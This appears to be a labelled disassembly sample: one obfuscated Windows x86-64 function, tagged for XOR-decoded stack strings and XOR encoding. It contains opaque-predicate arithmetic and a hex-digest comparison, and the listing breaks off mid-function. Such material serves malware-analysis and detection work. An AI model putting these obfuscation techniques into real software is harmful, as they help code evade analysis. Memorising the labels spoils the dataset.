Function at 0x1401f7650
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x498]
sub rsp, 0x560
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
movaps xmmword [rax - 0x78], xmm9
movaps xmmword [rax - 0x88], xmm10
mov rax, qword [0x14087b200]
xor rax, rsp
mov qword [rbp + 0x400], rax
mov rbx, rdx
mov qword [rbp + 0x10], rdx
mov rdi, rcx
mov qword [rbp - 0x18], rcx
mov qword [rbp + 0x248], rdx
xor r15d, r15d
call fcn.1401bcfe0
lea rcx, [rbp + 0x298]
call fcn.140218af0
nop
mov dword [rbp - 0x40], 0x69716a22
mov dword [rbp - 0x3c], 0x6f637b6d
mov word [rbp - 0x38], Ordinal_50
mov byte [rbp - 0x36], 1
mov dword [rbp - 0x48], 0x6a676b22
mov dword [rbp - 0x44], 0x100346d
mov dword [rbp - 0x30], 0x74637622
mov dword [rbp - 0x2c], 0x6565607b
mov dword [rbp - 0x28], 0x336965
mov byte [rbp - 0x24], 1
mov dword [rbp - 0x50], 0x6e716d22
mov dword [rbp - 0x4c], 0x100346c
mov dword [rbp - 0x6c], 0x7e636e22
mov word [rbp - 0x68], gethostname
mov byte [rbp - 0x66], 1
mov dword [rbp - 0x60], 0x62767c70
mov dword [rbp - 0x5c], 0x68636535
mov dword [rbp - 0x58], 0x6a7d6369
mov word [rbp - 0x54], 0x100
mov ecx, r15d
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 4]
xor byte [rbp + rcx - 0x6c], al
inc rcx
cmp rcx, 5
jb 0x1401f7750
mov byte [rbp - 0x66], 0
lea r9, [rbp - 0x20]
lea r8, [rbp - 0x67]
lea rdx, [rbp - 0x6c]
lea rcx, [rbp + 0x98]
call fcn.140147cc0
nop
cmp byte [rbp - 0x53], 0
je 0x1401f77a4
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 4]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 0xc
jb 0x1401f7790
mov byte [rbp - 0x53], 0
lea r9, [rbp - 0x70]
lea r8, [rbp - 0x54]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x78]
call fcn.140147cc0
nop
lea r9, [rbp + 0x98]
lea r8, [rbp + 0x78]
movzx edx, byte [rbp - 0x70]
lea rcx, [rbp + 0xb8]
call fcn.1401a4190
nop
lea rcx, [rbp + 0x78]
call fcn.14005e1b0
nop
lea rcx, [rbp + 0x98]
call fcn.14005e1b0
nop
mov r8, rbx
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x1a8]
call fcn.14019cd50
nop
lea r8, [rbp - 0x50]
mov rdx, rax
lea rcx, [rbp + 0x188]
call fcn.14019cea0
nop
lea rdx, [rbp + 0x298]
cmp qword [rbp + 0x2b0], 0xf
cmova rdx, qword [rbp + 0x298]
mov r8, qword [rbp + 0x2a8]
mov rcx, rax
call fcn.140061900
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x68], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea r8, [rbp - 0x30]
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0xd8]
call fcn.14019d260
nop
lea r8, [rdi + 0x258]
mov rdx, rax
lea rcx, [rbp + 0x168]
call fcn.14019cd50
nop
lea r8, [rbp - 0x48]
mov rdx, rax
lea rcx, [rbp + 0x148]
call fcn.14019cea0
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x128]
call fcn.14019cd50
nop
lea r8, [rbp - 0x40]
mov rdx, rax
lea rcx, [rbp + 0x108]
call fcn.14019d180
nop
lea r8, [rdi + 0x20]
mov rdx, rax
lea rcx, [rbp + 0x2d8]
call fcn.14019cd50
nop
lea rcx, [rbp + 0x108]
call fcn.14005e1b0
nop
lea rcx, [rbp + 0x128]
call fcn.14005e1b0
nop
lea rcx, [rbp + 0x148]
call fcn.14005e1b0
nop
lea rcx, [rbp + 0x168]
call fcn.14005e1b0
nop
lea rcx, [rbp + 0xd8]
call fcn.14005e1b0
nop
lea rcx, [rbp + 0x58]
call fcn.14005e1b0
nop
lea rcx, [rbp + 0x188]
call fcn.14005e1b0
nop
lea rcx, [rbp + 0x1a8]
call fcn.14005e1b0
nop
lea rcx, [rbp + 0xb8]
call fcn.14005e1b0
lea rax, [rbp + 0x1c8]
mov qword [rsp + 0x50], rax
lea rdx, [rdi + 0x80]
lea rcx, [rbp + 0x1c8]
call fcn.14005e3d0
mov rbx, rax
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x1e8]
call fcn.14005e3d0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x278]
call fcn.14020e810
nop
mov qword [rbp + 0x240], r15
mov byte [rsp + 0x20], 0
mov r9b, 1
lea r8, [rbp + 0x208]
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0x250]
call fcn.1401a1710
nop
mov byte [rbp - 0x80], 0
mov rax, qword [0x140444b61]
mov qword [rbp - 0x7f], rax
mov dword [rsp + 0x30], r15d
mov eax, dword [rsp + 0x30]
movsd xmm8, qword [0x1406ab658]
movsd xmm6, qword [0x1406ab650]
movsd xmm9, qword [0x1406ab648]
movsd xmm10, qword [0x1406ab640]
call fcn.1401bc240
movsx r9d, al
call fcn.1401bc230
movsx ecx, al
imul r9d, ecx
call fcn.1401bc270
movsx r10d, al
call fcn.1401bc250
movsx r11d, al
call fcn.1401bc280
movsx ebx, al
call fcn.1401bc260
movsx edi, al
mov r14d, dword [rsp + 0x40]
mov r15d, dword [rsp + 0x40]
mov r12d, dword [rsp + 0x40]
mov r13d, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [0x14087e2b9]
imul ecx, r11d
lea edx, [rcx + rcx*2]
add edx, edx
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f7c4a
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x38], xmm1
lea esi, [r10 + r9*8]
add esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f7af1
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f7af1
mov dword [rsp + 0x5c], 3
jmp 0x1401f7b4f
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f7b4f
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x5c], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f7bc4
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f7bc4
mov r14d, 3
jmp 0x1401f7c1f
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f7c1f
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r14d, xmm0
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rbp + rax - 0x7f]
and r8b, r14b
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rbp + rax - 0x7f]
sub dl, r8b
add dl, byte [rsp + 0x5c]
movsxd rax, dword [rsp + 0x30]
mov byte [rbp + rax - 0x7f], dl
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [r10 + r9*8]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f8278
movsx edx, byte [0x14087e2b9]
imul edx, r11d
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f7e64
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
lea esi, [r10 + r9*8]
add esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f7d0c
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f7d0c
mov dword [rsp + 0x60], 3
jmp 0x1401f7d6a
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f7d6a
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x60], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f7dde
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f7dde
mov r15d, 3
jmp 0x1401f7e39
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f7e39
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r15d, xmm0
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rbp + rax - 0x7f]
and r8b, r15b
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rbp + rax - 0x7f]
sub dl, r8b
add dl, byte [rsp + 0x60]
movsxd rax, dword [rsp + 0x30]
mov byte [rbp + rax - 0x7f], dl
movsx edx, byte [0x14087e2b9]
imul edx, r11d
add edx, edx
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f805b
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x38], xmm1
lea esi, [r10 + r9*8]
add esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f7f02
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f7f02
mov dword [rsp + 0x64], 3
jmp 0x1401f7f60
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f7f60
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x64], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f7fd5
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f7fd5
mov r12d, 3
jmp 0x1401f8030
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f8030
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r12d, xmm0
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rbp + rax - 0x7f]
and r8b, r12b
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rbp + rax - 0x7f]
sub dl, r8b
add dl, byte [rsp + 0x64]
movsxd rax, dword [rsp + 0x30]
mov byte [rbp + rax - 0x7f], dl
imul ecx, r9d, 7
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, r10d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f8278
mov eax, dword [rsp + 0x30]
sub eax, 0x41
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
lea esi, [r10 + r9*8]
add esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f8111
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f8111
mov dword [rsp + 0x58], 3
jmp 0x1401f816f
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f816f
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x30]
sub eax, 0x41
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f81f2
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f81f2
mov r13d, 3
jmp 0x1401f824d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f824d
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r13d, xmm0
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rbp + rax - 0x7f]
and r8b, r13b
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rbp + rax - 0x7f]
sub dl, r8b
add dl, byte [rsp + 0x58]
movsxd rax, dword [rsp + 0x30]
mov byte [rbp + rax - 0x7f], dl
movsx ecx, byte [0x14087e2b9]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f8477
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm10
movsd qword [rsp + 0x38], xmm1
lea esi, [r10 + r9*8]
add esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f8317
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f8317
mov dword [rsp + 0x40], 3
jmp 0x1401f8375
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f8375
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x40], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm10
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f83ec
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f83ec
mov dword [rsp + 0x68], 3
jmp 0x1401f844a
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f844a
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x68], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rbp + rax - 0x7f]
and r8b, byte [rsp + 0x68]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rbp + rax - 0x7f]
sub dl, r8b
add dl, byte [rsp + 0x40]
movsxd rax, dword [rsp + 0x30]
mov byte [rbp + rax - 0x7f], dl
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 8
jb 0x1401f7a50
mov rdi, qword [rbp - 0x18]
xor r15d, r15d
mov byte [rbp - 0x80], 1
lea rdx, [rbp - 0x7f]
lea rcx, [rbp + 0x250]
call fcn.14019ca90
lea rdx, [rbp + 0x2b8]
mov rcx, rax
call fcn.14019ccf0
nop
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x300]
call sub.VCRUNTIME140.dll_memset
lea edx, [r15 + 1]
lea rcx, [rbp + 0x300]
call fcn.1401a4720
nop
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x260], xmm1
mov qword [rbp + 0x270], r15
lea edx, [r15 + 0x20]
lea rcx, [rbp + 0x260]
call fcn.1401bafd0
mov rsi, qword [rbp + 0x260]
lea r14, [rsi + 0x20]
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm0
mov qword [rbp + 0x268], r14
mov rax, r14
sub rax, rsi
lea r8, [rbp + 0x278]
cmp qword [rbp + 0x290], 0xf
cmova r8, qword [rbp + 0x278]
lea rcx, [rdi + 0x278]
cmp qword [rcx + 0x18], 0xf
jbe 0x1401f854a
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
mov r9, qword [rbp + 0x288]
mov rdx, qword [rdi + 0x288]
call fcn.14021e890
cmp rsi, r14
je 0x1401f85d4
nop dword [rax]
movzx edi, byte [rsi]
lea rdx, [0x1401cbb40]
lea rcx, [rbp + 0x310]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0x30
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::fill_char____ptr64]
mov edx, 2
lea rcx, [rbp + 0xf8]
call sub.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
mov edx, edi
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
inc rsi
cmp rsi, r14
jne 0x1401f8570
lea rbx, [0x1406f0010]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rbx, qword [0x1406f0010]
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x300]
call fcn.140211ac0
cmp qword [rax + 0x18], 0xf
jbe 0x1401f8610
mov rax, qword [rax]
nop word [rax + rax]
movd xmm2, dword [rax]
punpcklbw xmm2, xmm2
punpcklwd xmm2, xmm2
psrad xmm2, 0x18
movd xmm0, dword [rbx]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm2, xmm0
movd xmm1, dword [rax + 4]
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
psrad xmm1, 0x18
movd xmm0, dword [rbx + 4]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
orps xmm1, xmm2
movdqa xmm0, xmm1
psrldq xmm0, 8
orps xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
orps xmm1, xmm0
movd ebx, xmm1
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x1401f86b9
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401f86b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1401f86b4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1403a87bc
movdqa xmm0, xmmword [0x1404460a0]
movdqu xmmword [rbp + 0x28], xmm0
mov byte [rbp + 0x18], 0
movsd xmm7, qword [0x1406ab638]
test ebx, ebx
je 0x1401f9c54
mov rax, qword [0x140444b70]
mov qword [rsp + 0x78], rax
test al, al
jne 0x1401f9185
mov dword [rsp + 0x30], r15d
mov eax, dword [rsp + 0x30]
call fcn.1401bc240
movsx r9d, al
call fcn.1401bc230
movsx ecx, al
imul r9d, ecx
call fcn.1401bc270
movsx r10d, al
call fcn.1401bc250
movsx r11d, al
call fcn.1401bc280
movsx ebx, al
call fcn.1401bc260
movsx edi, al
